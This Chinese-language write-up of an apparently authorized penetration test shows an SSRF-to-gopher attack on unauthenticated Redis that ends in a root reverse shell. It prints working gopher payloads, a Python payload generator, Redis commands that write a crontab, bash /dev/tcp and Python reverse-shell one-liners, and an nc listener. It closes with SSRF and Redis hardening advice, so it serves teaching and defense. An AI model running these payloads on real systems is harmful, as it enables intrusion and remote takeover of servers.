1. 项目概述与攻击链路全景1.1 核心需求解析这次内部渗透测试的起因很常规甲方给了几个Web系统域名要求在一周内完成授权范围内的深度测试。目标是一个典型的Java后端应用从前端功能看就是一个普通的企业信息管理系统功能包括用户登录、文件上传、数据查询没什么特别花哨的东西。但漏洞往往就藏在这些不起眼的业务功能里。经过两天的信息收集和接口排查我在一个图片缩略图功能里发现了经典的SSRF服务端请求伪造问题。这个功能允许用户提交一个URL服务端会去抓取这个URL对应的图片然后生成缩略图用于前端展示。问题在于服务端在处理这个URL时几乎没有做任何限制内网IP、回环地址、非常规端口全部可以访问。发现SSRF本身只能算拿到了一个跳板真正的目标是通过它向内网纵深。经过一系列内网探测我最终利用Gopher协议构造Redis数据包在未授权访问的Redis上写入计划任务成功反弹Shell拿下了一台内网服务器。整条攻击链走下来最核心的技术点就两个一是SSRF漏洞的识别与利用二是Gopher协议如何绕过SSRF只能发HTTP请求的限制向Redis这类TCP服务发送任意格式的数据。这篇文章不是科普文我会把整个攻击链路的完整思路、关键步骤和踩坑记录全部拆开讲。适合正在学习Web安全、想深入了解SSRF高级利用方式的人也适合甲方安全团队用来反推自己系统的防御短板。1.2 为什么选择Gopher协议作为利用载体很多人刚接触SSRF时第一反应是读文件、扫端口或者用file://协议读本地文件用http://协议探测内网。这些方法有效但天花板明显file://只能读取文件拿不到命令执行http://只能发HTTP请求没法跟Redis、MySQL这类非HTTP服务进行完整协议交互。Gopher协议则完全不同。它是一个早在HTTP之前就出现的互联网协议本身设计为万能协议可以访问任意TCP服务并且能够完整控制发送的数据包内容。这个特性让它在SSRF利用中变成了一个协议转换器我们只需要把目标TCP服务比如Redis的协议指令按照它的格式组织好URL编码后塞进Gopher协议的URL里SSRF服务端就会替我们把这个请求原封不动地发给目标服务。说直白一点Gopher协议让SSRF从只能读文件、扫端口升级成了可以跟内网任意TCP服务进行完整对话。这也是为什么在很多真实攻击场景中Redis、Memcached、MySQL这类基于明文TCP协议的服务一旦暴露在可被SSRF访问的内网中基本等于把刀递到了攻击者手里。1.3 目标环境的整体情况这次的测试目标是某个企业内部管理系统服务端部署在隔离网段。我通过公开信息收集和端口扫描确认了目标系统对外开放的入口只有一个Web应用端口。整个内网探测是通过SSRF漏洞完成的最终锁定的Redis服务部署在某个内网地址的6379端口上。需要说明的是Redis服务本身没有配置认证这是典型的未授权访问问题。但单纯未授权访问Redis并不意味着一定能直接拿下服务器关键要看Redis的运行权限、部署环境以及是否能通过Redis写入文件来获得代码执行或命令执行能力。这次攻击链中Redis服务以root权限运行且系统未开启任何文件写入限制这为后续通过计划任务反弹Shell创造了条件。2. SSRF漏洞发现与内网侦察2.1 漏洞点的定位与复现目标系统的图片缩略图功能设计得很经典前端上传图片到服务器后端生成缩略图。但在上传接口之外系统还提供了一个远程图片获取功能允许用户直接输入一个图片URL服务端会去抓取这个URL的内容并生成缩略图。我在测试这个功能时提交了一个指向本机的URL同时把抓包工具挂在旁边观察到服务端确实发起了对这个URL的请求。这确认了功能逻辑是真实的服务器端请求而不是前端JavaScript模拟的。进一步测试发现服务端对URL的协议、IP和端口几乎没有做白名单限制http://、file://、gopher://都能被处理。这里有一个重要的经验SSRF漏洞的利用难度很大程度上取决于服务端对URL的解析方式。有些系统会用parse_url之类的函数解析URL再用curl去请求这种组合天然支持Gopher协议有些系统会用HttpClient库只支持HTTP和HTTPS这样就无法直接使用Gopher。这次遇到的目标用的是原生URL解析加底层Socket请求对协议的支持非常宽松。2.2 内网端口与服务探测技巧拿到SSRF之后第一步不是急着打Redis而是先画清楚内网地图。我的思路是先探测目标Web服务器所在网段的内网IP存活情况再逐个扫描常见服务端口。借助SSRF进行端口扫描的核心方法很简单提交一个指向内网地址的URL根据响应时间来粗略判断端口是否开放。如果端口关闭连接会被快速拒绝如果端口开放但服务类型不匹配比如用HTTP请求去访问SSH端口请求会挂起一段时间等待响应。这个方法慢但足够隐蔽不会产生真实的扫描流量。扫了一圈之后我在某个内网地址上发现了几个开放端口其中包括6379。这个端口太显眼了基本可以确定是Redis服务。2.3 确认服务指纹与未授权状态确认目标端口确实是Redis之后还要验证它是否存在未授权访问。这一步我用了一个取巧的办法利用SSRF向Redis发送一个INFO命令通过Gopher协议探测Redis的版本和运行状态。构造这个请求时我先把INFO命令转换成了Redis的RESP协议格式即*1\r\n$4\r\nINFO\r\n然后把整个数据包进行URL编码拼接成Gopher URL提交。服务端返回的缩略图最终显示了Redis的版本信息、连接客户端数量、内存使用情况等数据。其实到这里攻击条件已经基本满足SSRF具备Gopher协议利用能力、Redis未授权访问、且版本信息确认。剩下的问题就是如何把Redis的未授权访问转化为真正的服务器权限。3. Gopher协议攻击Redis的核心原理3.1 Redis协议格式与Gopher协议的配合机制如果要一句话说清楚Gopher协议为啥能打Redis那就是Gopher协议允许你指定完整的原始TCP数据流而Redis的通信协议恰好是纯文本格式两者配合起来浑然天成。Redis客户端与服务器之间的通信遵循RESPREdis Serialization ProtocolRedis序列化协议。这个协议非常简单基本的命令格式是*1\r\n $4\r\n INFO\r\n其中*1表示后面有一条命令$4表示命令名字符串的长度INFO是具体的命令内容\r\n是分隔符。要执行带参数的命令比如SET格式会变成*3\r\n $3\r\n SET\r\n $5\r\n mykey\r\n $7\r\n myvalue\r\n理解了这套协议格式后Gopher URL的构造思路就清晰了先把Redis命令封装成RESP格式的字符串然后对整个字符串进行URL编码拼接成gopher://目标IP:6379/_开头的完整URL提交给SSRF漏洞触发请求。3.2 手动构造Gopher协议Payload的完整过程以写入一个最简单的键值对为例完整的构造过程是这样的第一步把Redis命令写成RESP协议格式使用命令行工具快速生成printf *3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$7\r\nmyvalue\r\n payload.txt第二步对生成的payload进行URL编码注意\r\n会被编码成%0d%0a。这里有一个极其关键的细节Gopher协议规定_后面的第一个字符会被吃掉有些实现是第一个字节被忽略所以需要在原始payload前面加一个任意字符占位比如多加一个x编码后再拼接到Gopher URL中。第三步把编码后的数据拼接成完整的利用URLgopher://192.168.1.100:6379/_x*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0amykey%0d%0a$7%0d%0amyvalue%0d%0a把这个URL提交给SSRF接口后如果一切正常Redis里就会多出一个mykey。在实际测试中我习惯先用这种无害命令验证链路确认Gopher协议能正常工作后再执行真正的高危操作。这里也额外提醒一下类似FLUSHALL这样会清空数据的命令在正式测试环境中务必先确认数据已经备份或尽量避开写操作以外的破坏性命令。3.3 为什么SSRF客户端不能直接访问Redis端口理论上如果SSRF的直接目标就是Redis的IP和端口而且目标内网允许直接访问那么不需要Gopher协议也可以利用。比如一些SSRF实现允许传入任意协议直接提交http://内网IP:6379/虽然不会得到正常响应但可以通过请求时间差异判断端口是否开放。但问题在于SSRF服务端的HTTP客户端库通常只支持HTTP/HTTPS协议即使你传入了指向Redis端口的URL它也只是尝试发送一个HTTP请求并不会按照Redis协议进行交互。Gopher协议的价值恰恰在这里它让SSRF服务端能够以任意协议格式与内网服务通信突破了只能发HTTP请求的限制。我自己在测试中做过一个类比如果说HTTP协议是快递员只送特定格式的包裹那Gopher协议就是快递员愿意帮你传递任何格式的信件。这个特性在SSRF利用中几乎是不可替代的。4. 完整攻击链实操从Gopher到反弹Shell4.1 利用Redis写入计划任务的核心思路拿到Redis未授权访问权限之后常见的内网利用思路有几种写入SSH公钥实现免密登录、写入Web目录实现Webshell、通过主从复制加载恶意模块。这次选择的是写入计划任务crontab实现反弹Shell因为目标内网服务器是基于Linux的且Redis进程以root权限运行crontab会被root用户执行。原理并不复杂Linux的crontab任务文件存放在/var/spool/cron/目录下root用户的任务文件路径是/var/spool/cron/root。只要Redis能向这个目录写入文件我们就能构造一个计划任务让服务器定期执行我们指定的命令。具体的计划任务内容是*/1 * * * * bash -i /dev/tcp/攻击机IP/监听端口 01这条命令的含义是每分钟执行一次bash反弹Shell将目标服务器的Shell连接到攻击机的指定端口。/dev/tcp/是Linux内核提供的一个特殊文件描述符通过它可以直接建立TCP连接是反弹Shell的常用手法。4.2 Redis写文件的命令构造与Gopher封装计划任务内容确定后需要把写入操作转换成Redis命令。这里用了Redis的两个命令SET cron \n*/1 * * * * bash -i /dev/tcp/192.168.1.10/8888 01\n CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SAVE第一行设置一个键键名任意值为计划任务内容前后加换行符是为了避免文件拼接时出现格式问题第二行和第三行把Redis的持久化文件目录切换到/var/spool/cron/文件名设为root第四行执行SAVE触发持久化RDB文件就会以root为文件名落入crontab目录。这套命令最终形成的RDB文件内容会被crontab解析文件中的数据虽然不完全是标准的crontab格式但其中包含的明文字符串已经足够被crontab识别并执行。这也是为什么payload前后要加换行目的就是确保我们注入的那一行在文件中是独立行。然后把这四条命令按RESP协议格式封装生成完整的Gopher URL。这一步我写了一个简单的Python脚本来自动化生成payloadimport urllib.parse def generate_gopher_payload(ip, port, commands): payload for cmd in commands: payload f*{len(cmd)}\r\n for arg in cmd: arg_bytes arg.encode(utf-8) payload f${len(arg_bytes)}\r\n payload arg.decode(utf-8) \r\n return gopher://{}:{}/_{}.format(ip, port, urllib.parse.quote(payload)) commands [ [SET, cron, \n*/1 * * * * bash -i /dev/tcp/192.168.1.10/8888 01\n], [CONFIG, SET, dir, /var/spool/cron/], [CONFIG, SET, dbfilename, root], [SAVE] ] print(generate_gopher_payload(192.168.1.100, 6379, commands))注意脚本中URL编码后的%0d%0a会保留\r\n并且在拼接时自动补上了前面提到的占位字符问题也就是URL路径中_后面的首字符偏移被天然处理了。4.3 提交Payload后的实际效果与Shell建立生成Gopher URL后我把它作为远程图片URL提交给了SSRF漏洞接口。为了确认命令是否执行成功我还构造了一个用于验证的Gopher请求内容是CONFIG GET dir期望返回值为/var/spool/cron/。提交后我在攻击机上启动了一个监听端口nc -lvnp 8888然后在攻击机上等待计划任务触发。大约一分钟后监听端口收到了来自目标服务器的连接请求反弹Shell建立成功。通过id命令确认当前权限为root整个攻击链正式打通。整个过程中最关键的三个环节是Gopher协议URL是否能正确提交并被服务端请求、Redis的CONFIG SET命令是否被允许执行、目标系统是否安装了支持/dev/tcp/的bash。只要这三个条件满足这条攻击链的复现概率极高。5. 攻击链中的常见问题与排错实录5.1 Gopher协议URL提交无响应的排查思路第一次提交Gopher URL时我发现目标系统的图片缩略图接口直接返回了超时错误。后来排查发现问题出在URL编码上Gopher URL中一旦出现未编码的、?等特殊字符服务端解析URL时会把参数截断导致请求数据不完整。解决方法是对Gopher URL进行二次编码或者确保原始URL中的特殊字符全部被urllib.parse.quote处理。如果涉及多个命令拼接尤其要注意\r\n是否被正确转成%0d%0a。5.2 Redis命令执行成功但是计划任务不生效的排查第二个坑出现在写入计划任务之后Shell没有如预期反弹。排查分了三步走第一步检查REdis的持久化目录是否真的切换成功了方法是利用Gopher发送CONFIG GET dir确认返回值是/var/spool/cron/第二步检查root文件是否写入了正确的crontab格式读一下文件内容确认有没有语法错误第三步确认crontab服务是否在运行。实测发现有些系统上crontab目录是/var/spool/cron/crontabs/而非/var/spool/cron/不同Linux发行版对crontab文件位置的约定不同。如果写错目录Redis依然会写入成功但crontab根本不会去解析那个文件。5.3 为什么有时候弹回来的Shell会很快断开反弹Shell建立后如果很快断开通常是两个原因网络不稳定导致TCP连接中断或者bash进程因为管道问题退出。一个比较稳妥的方式是使用Python的反弹语句python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.10,8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);这种写法比bash的/dev/tcp/更稳定而且不少环境中/dev/tcp指向的bash版本可能受限。5.4 Redis未授权利用中容易被忽略的约束条件有几点经验值得沉淀第一Redis版本高低直接影响可利用范围。老版本Redis的CONFIG命令基本无限制新版本尤其是4.x及以上从安全角度引入了更多保护机制比如部分命令在protected mode下会被拒绝但这不意味着完全无法利用。第二Redis进程的运行用户决定了你能写到什么程度的文件。如果是root权限就能覆盖crontab、SSH authorized_keys等系统级文件如果只是普通用户就只能尝试写当前用户有权限的目录。第三目标系统如果开启了SELinux或AppArmor即使Redis能写入crontab文件系统也可能阻止crontab服务读取或执行异常文件导致Shell无法反弹。这个问题在实战中很常见排查时可以先尝试写Web目录或者SSH公钥作为备选利用路径。6. 从攻击视角转向防御视角6.1 如何修复SSRF漏洞整个攻击链的起点是SSRF漏洞所以最根上的修复方式就是把SSRF这个口子堵住。服务端如果必须支持远程图片获取至少要做到对URL协议做严格白名单限制只允许HTTP和HTTPS禁止file://、gopher://、dict://等非常用协议。对URL解析后的IP做校验禁止内网IP、回环地址、链路本地地址等。禁止使用parse_url这类容易绕过的解析方式必须结合DNS解析后的实际IP做二次验证。我见过很多次修复SSRF不彻底的情况只加了IP黑名单但攻击者用十进制IP、短域名、DNS重绑定等方式就能绕过。核心思路是先解析URL得到IP再校验IP是否合法最后发起请求。6.2 Redis的安全加固配置即使SSRF被堵住Redis本身的安全配置也必须做好。最低限度的加固方案开启requirepass密码认证禁止空密码绑定外网禁止以root权限运行Redis使用独立的低权限用户监听地址改为127.0.0.1不对外网暴露禁用或重命名危险命令比如CONFIG、EVAL、FLUSHALL等启用protected mode仅就这次测试来说如果Redis设置了密码整个攻击链就会断在第一步因为SSRF虽然能发出Gopher请求但没有认证信息Redis会直接拒绝执行命令。如果Redis不以root运行写crontab和SSH key这两条路也都会被堵死。6.3 攻击链整体的启发从一次SSRF到一台服务器root权限中间只隔着一个Redis。技术链条并不复杂但每一步都依赖特定的前提条件SSRF支持Gopher协议、Redis未授权、Redis以root运行、系统没有安全模块拦截。任何一环被堵上攻击链都会中断。对我来说这次测试最大的收获不是拿下一个内网服务器而是把Gopher协议和RESP协议之间的配合机制彻底吃透了。以前只是听说SSRF可以打Redis但自己完整走一遍之后才对协议层的交互有了真正的理解。后来我在做代码审计时看到类似的远程抓取功能第一时间就能判断出它的SSRF风险等级和可能的利用方式。7. 写在最后在我做过的不少授权测试里最终拿下内网服务器往往不是靠某个0day而是靠一系列不算特别严重的问题叠加。一个业务功能需要远程抓图没有做协议白名单内网部署了一个测试用的Redis图方便没设密码运维用root启动了Redis服务和整个应用方便管理主机上的安全软件没有对计划任务目录做防篡改监控。单独看每一个问题好像都不致命但串在一起就是一条完整的攻击链。大家做防守的时候也是一样的思路不要纠结于单一漏洞是否足够严重而是要多想想如果攻击者拿到了某一个点他能不能以此为跳板继续深入把这个问题想清楚了网络安全建设的重心自然会往纵深防御和权限隔离上靠。最后再分享一个小细节使用Gopher协议构造payload时每次提交前我都习惯先用SET testkey testvalue这种无害命令验证链路通不通确认通了再上真正的利用payload。这个习惯帮我避开了很多无效请求尤其是在目标系统存在WAF或请求拦截时能快速判断拦截发生在哪一层。多做一次验证不算浪费时间。